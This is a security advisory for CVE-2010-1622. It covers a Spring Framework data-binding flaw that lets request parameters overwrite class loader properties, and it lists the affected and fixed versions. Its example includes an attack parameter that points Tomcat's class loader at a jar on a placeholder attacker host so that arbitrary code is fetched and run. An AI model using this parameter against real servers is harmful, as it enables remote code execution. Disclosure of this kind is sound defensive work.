|
|
|
|
| |
Credit:
The information has been provided by Meder Kydyraliev.
The original article can be found at: http://seclists.org/fulldisclosure/2010/Jun/456
|
| |
Vulnerable Systems:
* Spring Framework version 3.0.0
* Spring Framework version 3.0.2
* Spring Framework versions 2.5.0 to 2.5.6.SEC01 (community releases)
* Spring Framework versions 2.5.0 to 2.5.7 (subscription customers)
Immune Systems:
* Spring Framework version 3.0.3
* Spring Framework version 2.5.6.SEC02
* Spring Framework version 2.5.7.SR01
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via 'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker.
Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
- META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not classes;
- tag files in META-INF/tags/ containing tag definition (arbitrary Java code).
2. Attacker then submits HTTP request to a form controller with the following HTTP parameter:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's repositoryURLs property will be overwritten with attacker's URL.
3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class).
CVE Information:
CVE-2010-1622
Disclosure Timeline:
Fri, 18 Jun 2010 - Published
|
|
|
|
|
